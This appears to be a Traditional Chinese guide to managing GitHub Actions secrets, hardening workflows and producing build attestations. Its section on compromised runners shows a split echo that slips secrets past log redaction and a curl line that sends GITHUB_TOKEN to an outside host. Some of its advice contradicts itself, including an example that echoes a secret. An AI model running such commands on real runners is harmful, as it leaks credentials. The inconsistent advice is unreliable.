管理加密的祕密
秘密是加密的環境變數,可儲存令牌、認證和其他敏感性資訊。 您的 GitHub Actions 工作流程和動作可以在需要時使用這些秘密。 一旦建立,秘密就可供有權存取已定義秘密的組織、存放庫或環境之工作流程和動作存取。
本節說明如何使用 GitHub Enterprise Cloud 和 GitHub Enterprise Server 中的工具和策略來管理加密的秘密。 您也會瞭解如何在工作流程和動作中使用這些秘密。
管理企業中的加密秘密
GitHub Actions 可讓您透過 加密的秘密安全地儲存和使用敏感數據,例如 API 金鑰、驗證令牌、密碼和憑證。 這些秘密會安全地儲存並插入工作流程。 此設計可確保它們不會出現在記錄或原始程式碼中。
在企業環境中,有效的秘密管理非常重要。 其可協助維護安全性、符合合規性需求,以及支援營運效率。 GitHub 可讓您管理四個層級的秘密:企業、組織、存放庫和環境。
加密秘密的範圍
瞭解秘密 的範圍 對於在企業環境中安全地管理秘密至關重要。
秘密層級 | 範圍 | 誰可以存取 | 常見使用案例 |
---|---|---|---|
Enterprise-Level 秘密 | 套用至 GitHub Enterprise Cloud 組織中的所有存放庫。 | 企業擁有者、安全性系統管理員 | 跨多個存放庫共享認證。 |
Organization-Level 秘密 | 套用至組織中的所有存放庫;選擇性地限制選取的存放庫。 | 組織擁有者、安全性系統管理員 | 存取雲端服務和共享資料庫。 |
Repository-Level 秘密 | 僅適用於單一存放庫。 | 存放庫管理員、工作流程執行器 | 保護一個存放庫中部署的認證。 |
Environment-Level 秘密 | 適用於存放庫中的特定部署環境,例如預備或生產環境。 | 指定環境中的工作流程執行器 | 依部署環境分隔認證。 |
主要考慮因素:
- 企業秘密 專屬於 GitHub Enterprise Cloud,並支援整個組織的集中式管理。
- 組織秘密 提供更細緻的訪問控制,而且可以限制為特定的存放庫。
- 環境秘密 可藉由限制工作流程環境的存取,協助防止意外暴露。
管理組織層級的加密秘密
在組織層級建立加密的秘密有助於保護敏感性資訊,同時減少跨多個存放庫管理秘密所需的工作。
例如,某些在 GitHub 組織中撰寫工作流程的開發人員需要認證,才能將程式代碼部署至某些工作流程中的生產環境。 為了避免共用此敏感性資訊,您可以在組織層級建立包含認證的加密的袐密。 如此一來,就可以在工作流程中使用認證,而不會被公開。
若要在組織層級建立袐密,請移至您的組織 [設定],然後從側邊欄選取 [袐密和變數] > [動作] > [新增組織袐密]。 在出現的畫面中,輸入名稱和值,然後選擇您袐密的存放庫存取原則:
儲存之後,存取原則會顯示在清單中的秘密下方:
您可以選取 [更新] 以取得袐密所設定權限的詳細資訊。
透過 GitHub CLI 管理 Organization-Level 加密的機密資訊
-
為組織建立密碼:
gh secret set SECRET_NAME --org my-org --body "super-secret-value"
-
列出所有組織秘密:
gh secret list --org my-org
-
更新現有的秘密:
gh secret set SECRET_NAME --org my-org --body "new-secret-value"
-
刪除秘密:
gh secret delete SECRET_NAME --org my-org
組織秘密的安全性考慮
- 將秘密限制為特定存放庫 ,而不是預設授與所有存放庫的存取權。
- 實作角色型訪問控制 (RBAC), 以確保只有授權的小組成員可以建立、更新或刪除秘密。
- 定期監視存取記錄 ,以識別及回應未經授權的使用或可疑活動。
在存放庫層級管理加密的秘密
若要將秘密限定為特定存放庫,請使用 GitHub Enterprise Cloud 或 GitHub Enterprise Server。
建立存放庫層級機密
- 前往存放庫的設定。
- 選取 [秘密和變數 > 動作],然後選取 [新增存放庫密碼]。
- 輸入 秘密的名稱和值。
透過 CLI 管理存放庫層級加密的秘密
列出存放庫秘密:
gh secret list --repo my-repo
更新存放庫密碼:
gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"
刪除存放函式密碼:
gh secret delete SECRET_NAME --repo my-repo
存取動作和工作流程內加密的袐密
在工作流程中
使用 secrets
內容存取秘密。 使用 with
將秘密作為輸入,或使用 env
將其設為環境變數。
steps:
- name: Hello world action
uses: actions/hello-world@v1
with:
# Pass the secret as an input to the action
super_secret: ${{ secrets.SuperSecret }}
env:
# Set the secret as an environment variable
super_secret: ${{ secrets.SuperSecret }}
使用
with
:將 秘密當做輸入參數傳遞至動作。 當動作在其 中action.yml
明確定義輸入時,通常會使用這個方法。使用
env
:將秘密公開 為步驟的環境變數。 當步驟中的命令或動作內的腳本預期環境變數時,此方法很有用。
在動作中
若要在自定義動作內使用秘密,請將它們定義為元數據檔案中的 action.yml
輸入,並在動作程式碼中將其存取為環境變數。
inputs:
super_secret:
description: 'My secret token'
required: true
// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');
定義於
action.yml
中:將密鑰指定為必填或選填輸入。在程式代碼中存取:使用 Actions Toolkit 讀取秘密(建議使用),或在設定時參考環境變數。
警告
避免在動作原始碼中硬編碼敏感資訊。 若要安全地管理輸入和秘密, 請使用 Actions Toolkit 來處理程式碼邏輯中的值。
設定 GitHub Actions 的安全性強化
GitHub Actions 的安全性強化在保護軟體供應鏈安全方面扮演著重要角色。 以下各節將說明建議的作法,以加強您在工作流程中使用的動作的安全性。
識別減輕腳本插入式攻擊的最佳做法
在 GitHub 動作上緩和文稿插入式攻擊的一些最佳做法包括:
使用 Javascript 動作而非內嵌腳本:使用接受內容值的 Javascript 動作做為自變數,而不是將這些值內嵌在內嵌腳本中。 此方法可降低腳本插入的風險,因為內容數據不會用來直接產生或執行殼層命令。
將變數當做輸入傳遞至 JavaScript 動作有助於防止它用於腳本插入式攻擊。
uses: fakeaction/checktitle@v3 with: title: ${{ github.event.pull_request.title }}
在內嵌腳本中使用中繼環境變數:使用內嵌腳本時,請在命令中使用變數之前,先將變數評估為環境變數。 此方法可確保在腳本執行之前解析值,降低腳本插入的風險。 例如,使用
github.event.pull_request.title
作為環境變數有助於防範插入式攻擊弱點:- name: Check PR title env: TITLE: ${{ github.event.pull_request.title }} run: | if [[ "$TITLE" =~ ^octocat ]]; then echo "PR title starts with 'octocat'" exit 0 else echo "PR title did not start with 'octocat'" exit 1 fi
利用工作流程範本來實作程式代碼掃描: 流覽 至存放庫的 [ 動作] 索引卷標,然後選取左窗格中的 [ 新增工作流程 ] 按鈕。 在 [ 選擇工作流程] 頁面上, 找出 [ 安全性 ] 區段以存取及套用工作流程範本。
將 CodeQL 掃描器設定為在特定事件上執行,使其能夠掃描分支的檔案,並標記工作流程中使用的動作內的弱點曝光,包括如腳本注入等漏洞。
限制令牌的許可權:請確定您一律將 套用
rule of least privilege
至任何已建立的令牌。 換句話說,請確保憑證被指派最低權限,以完成其用途。
安全地使用第三方動作的最佳做法
請遵循下列最佳做法,安全地將第三方動作納入您的工作流程:
只有在信任作者時,才將動作釘選到標記只有在驗證並信任動作的作者時,才使用版本標籤,例如
v1
或v2
。 此動作有助於降低未來版本中非預期變更的風險。- name: Checkout uses: actions/checkout@v4 # Pinned to a specific version tag
建議將操作固定到完整的提交 SHA 將操作固定到完整的提交 SHA 可確保您使用的是不可變的版本。 請務必確認提交 SHA 來自預期的儲存庫。
- name: Checkout uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2 # Pinned to a specific commit SHA
稽核動作的原始程式碼 檢閱動作的來源,確認其可安全地處理數據,且不包含非預期或惡意的行為。
值得信任的第三方動作指標
使用信任的動作來降低工作流程中的風險。
尋找已驗證的徽章: 值得信任的動作會出現在 GitHub Marketplace 中,並在標題旁邊顯示已驗證的 建立 者徽章,告知您 GitHub 已驗證建立者。
檢查檔: 檔案
action.yml
應該經過妥善記載,並清楚描述動作的運作方式。
使用 Dependabot 版本更新讓動作保持在最新狀態
啟用 Dependabot 版本更新,以自動讓您的 GitHub Actions 相依性保持最新且安全。
遭受破壞的跑者的潛在影響
本節說明如果執行器遭到入侵,可能會被利用的攻擊途徑。
從執行器外泄數據
雖然 GitHub Actions 會自動從記錄中修訂秘密,但此修訂不是完整的安全性界限。 如果執行器遭到入侵,攻擊者可以將秘密列印到記錄檔,以刻意公開秘密。 例如:
echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}
遭入侵的運行器可以使用腳本化的 HTTP 請求,將秘密或其他敏感存放庫資料轉發至外部伺服器。
存取秘密
使用 pull_request
事件從分岔存放庫觸發的工作流程具有只讀許可權,而且無法存取秘密。 不過,許可權會根據事件類型而有所不同,例如 issue_comment
、 issues
、 push
或 pull_request
來自相同存放庫內的分支。 如果運行器遭到入侵,可能會暴露資料庫機密,或者具有寫入權限的 GITHUB_TOKEN
作業可能會被濫用。
- 如果將秘密或令牌指派給環境變數,則可以使用 直接存取
printenv
。 - 如果在表達式中直接引用機密資訊,生成的 Shell 腳本包含已解析的值,將儲存在磁碟上,而且可能可被存取。
- 針對自定義動作,風險層級取決於秘密在動作邏輯內處理的方式。 例如:
uses: exampleaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
雖然 GitHub Actions 會在工作流程或包含的動作中未參考秘密時,從記憶體中移除秘密,GITHUB_TOKEN
但如果執行器遭到入侵,任何正在使用中的秘密仍有可能被泄露。
竊取職位GITHUB_TOKEN
攻擊者可能能夠竊取作業的 GITHUB_TOKEN
。 GitHub Actions 會自動提供此令牌,其範圍許可權僅限於執行工作流程的存放庫。 令牌會在作業完成之後到期,且之後無法重複使用。
不過,遭入侵的執行器可用來在作業執行期間立即外泄令牌。 攻擊者可以將請求自動化到其控制的伺服器,以在令牌到期之前擷取令牌。 例如:
curl http://example.com?token=$GITHUB_TOKEN
修改存放庫內容
GITHUB_TOKEN
如果遭竊,攻擊者控制的系統可以使用它來呼叫 GitHub API 並修改存放庫內容。
將最低許可權原則套用至令牌的許可權有助於降低此風險。 將令牌的存取限制為只限於工作所需。
管理跨儲存庫存取
當工作流程需要存取多個存放庫時,請務必選擇可將安全性風險降到最低的認證。 從最受歡迎到最不受歡迎的一些建議選項包括:
GITHUB_TOKEN
GitHub 會自動為每個工作流程執行產生
GITHUB_TOKEN
。 它的範圍僅限於觸發工作流程的單一存放庫,並提供等同於該存放庫具備寫入權限使用者的權限。 令牌會在每個作業開始時建立,並在作業完成時到期。盡可能使用
GITHUB_TOKEN
進行安全且限定範圍的驗證。 如需詳細資訊,請參閱 自動令牌驗證。存放庫部署金鑰
若要在工作流程中使用 Git 複製或推送,請使用部署金鑰來提供單一存放庫的讀取或寫入許可權。
不過,部署密鑰不支援存取 GitHub 的 REST 或 GraphQL API。 只有在不需要 API 存取且 Git 存取已足夠時,才使用它們。
GitHub 應用程式令牌
GitHub Apps 提供更細緻的許可權,而且可以安裝在選取的存放庫上。 您可以建立內部 GitHub 應用程式、將它安裝在必要的存放庫上,並在工作流程中驗證為應用程式安裝,以存取這些存放庫。
相較於個人令牌,此方法可提供更佳的訪問控制和稽核。
個人存取權杖 (PAT)
避免在工作流程中使用傳統個人存取令牌。 這些令牌會授與使用者相關聯之所有個人和組織存放庫的廣泛存取權,並帶來重大風險。 如果工作流程在具有多個參與者的存放庫中執行,則所有寫入存取用戶都會有效地繼承該令牌的許可權。
如果您必須使用個人令牌,請建立系結至專用組織帳戶的 細部 PAT 。 只限制其存取工作流程所需的特定存放庫。
備註
這種方法難以擴展,最好選擇部署密鑰或 GitHub Apps 來取代。
個人帳戶上的 SSH 金鑰
請勿在工作流程中使用個人帳戶的 SSH 金鑰。 如同傳統 PAT,他們會授與帳戶相關聯之所有存放庫的存取權,包括個人和組織存放庫。 這個錯誤會將工作流程暴露在不必要的風險。
如果您的使用案例涉及透過 Git 複製或推送,請考慮改用部署密鑰。 它們提供範圍存取,而不需要公開不相關的存放庫或要求個人認證。
稽核 GitHub 操作事件
執行動作的類型,以及執行動作的個人帳戶會記錄在「安全性記錄」和「稽核記錄」中。 「安全性記錄檔」會記錄與用戶帳戶相關的事件。 「稽核記錄檔」會記錄與貴組織相關的事件。 因此,您可以檢視這兩個記錄,以稽核與 Github 動作相關的事件。
搭配 GitHub Actions 使用 OIDC
您可以使用 OIDC (OpenID Connect) 設定工作流程,直接與雲端提供者進行驗證。 在此情況下,不再需要將認證儲存為秘密。
GitHub Actions 的產物鑑定
成品證明可協助建立組建的源頭,藉由驗證建置的內容、位置及方式來改善軟體供應鏈安全性。
要證明什麼
使用 GitHub Actions,您可以驗證二進位檔和容器映像檔的建置來源和 SBOM(軟體材料清單)。
產生建置工件證書
當您產生組建的成品證明時,您必須確定:
- 您已在工作流程中設定適當的許可權
- 您已在工作流程中包含使用 attest-build-provenance 動作的步驟。
驗證確立組建來源。 您可以在存放庫的 [ 動作 ] 索引標籤中檢視證明。
產生二進位檔組建證明
您必須將下列權限新增至工作流程,以建置您想要證明的二進位檔:
permissions: id-token: write contents: read attestations: write
您必須在建置二進位檔的步驟之後新增下列步驟:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-path: 'PATH/TO/ARTIFACT'
備註
請注意,subject-path
參數的值會設定為您驗證的二進位檔案的路徑。
生成容器映像構建來源證明
將下列許可權新增至建置容器映射的工作流程:
permissions: id-token: write contents: read attestations: write packages: write
在建置容器映射之後新增此步驟:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} subject-digest: 'sha256:fedcba0...' push-to-registry: true
備註
- 這個
subject-name
值必須是完整映像檔名稱,例如ghcr.io/user/app
或acme.azurecr.io/user/app
。 請勿包含標籤。 -
subject-digest
必須是影像的 SHA256 摘要,格式為sha256:HEX_DIGEST
。 - 如果您的工作流程使用
docker/build-push-action
,您可以從其輸出擷取摘要。 如需詳細資訊,請參閱 GitHub Actions 的工作流程語法。
- 這個
產生 SBOM 驗證資料
您有能力為 SBOM 產生 SBOM 證明。 若要產生並證明 SBOM,您必須執行下列步驟:
- 請確定您在工作流程中設定適當的許可權,如範例所示。
- 您必須在工作流程的步驟中為工件生成 SBOM。 如需範例,請參閱 GitHub Marketplace 中的 anchore-sbom-action。
- 在您的工作流程中包含一個步驟,使用 attest-sbom action(請參閱下列範例)
產生二進位檔的SBOM證明
將下列許可權新增至建立二進位檔的工作流程,以便生成 SBOM 身份聲明:
permissions: id-token: write contents: read attestations: write
在建立二進位檔和產生 SBOM 的步驟之後,新增下列步驟:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-path: 'PATH/TO/ARTIFACT' sbom-path: 'PATH/TO/SBOM'
請注意,參數的值 subject-path
應該設定為 SBOM 描述的二進位路徑。 參數 sbom-path
的值應該設定為您所產生的 SBOM 檔案路徑。
為容器映像產生 SBOM 認證
您必須將下列權限新增至用於建置將產生 SBOM 證明的二進位檔的工作流程:
permissions: id-token: write contents: read attestations: write packages: write
您必須在建立二進位檔和產生 SBOM 的步驟之後,新增下列步驟:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE subject-digest: 'sha256:fedcba0...' sbom-path: 'sbom.json' push-to-registry: true
請注意,參數的值 subject-name
會指定完整映像名稱。 例如,ghcr.io/user/app
或 acme.azurecr.io/user/app
。 請勿在映像名稱中包含標籤。
subject-digest
參數的值應該設定為 SHA256
證明主體的摘要,以 sha256:HEX_DIGEST
的格式呈現。 如果您的工作流程使用 docker/build-push-action
,您可以使用該步驟的摘要輸出來提供值(請參閱 build-push-action)。 如需使用輸出的詳細資訊,請參閱 GitHub Actions 的工作流程語法。
參數 sbom-path
的值應該設定為您想要驗證之 JSON 格式 SBOM 檔案的路徑。
使用 GitHub CLI 驗證工件聲明
您可以使用 GitHub CLI 來驗證上述的成品證明。 如需詳細資訊,請參閱 GitHub CLI 手冊的 證明一節 。
警告
請務必記住,成品證明不保證成品是安全的。 相反地,構件證明會將您連結到生成這些構件所用的原始程式碼和建置指示。 您必須定義原則準則、評估內容來評估該原則,並在取用軟體時做出明智的風險決策。
存取動作和工作流程內加密的袐密
範例:在工作流程中使用秘密
name: Deploy Application
on:
push:
branches:
- main
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v3
- name: Use secret in a script
run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"
在工作流程中使用秘密的最佳做法
-
請勿在記錄中使用 列印袐密。
echo ${{ secrets.SECRET_NAME }}
- 在腳本命令中使用秘密,而不是將它們指派給環境變數。
- 藉由在最低必要層級定義秘密來限制存取。
- 定期輪替安全密鑰 以便更新工作流程。
如何使用第三方保管庫
許多企業整合 GitHub Actions 與外部秘密管理解決方案,例如 HashiCorp Vault、AWS 秘密管理員和 Azure Key Vault。
1. HashiCorp Vault
- name: Fetch secret from Vault
id: vault
uses: hashicorp/vault-action@v2
with:
url: https://vault.example.com
token: ${{ secrets.VAULT_TOKEN }}
secret: secret/data/github/my-secret
2. AWS (Amazon Web Services) 秘密管理員
- name: Retrieve AWS Secret
run: |
SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV
3.Azure Key Vault
- name: Retrieve Azure Secret
uses: Azure/get-keyvault-secrets@v1
with:
keyvault: "my-keyvault"
secrets: "my-secret"
azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}
使用第三方保存庫的優點
- 集中式秘密管理 可降低安全性風險。
- 自動化秘密輪替 有助於遵守安全策略。
- 稽核記錄和訪問控制 可增強安全性監視。
- 最低許可權存取 可防止未經授權使用秘密。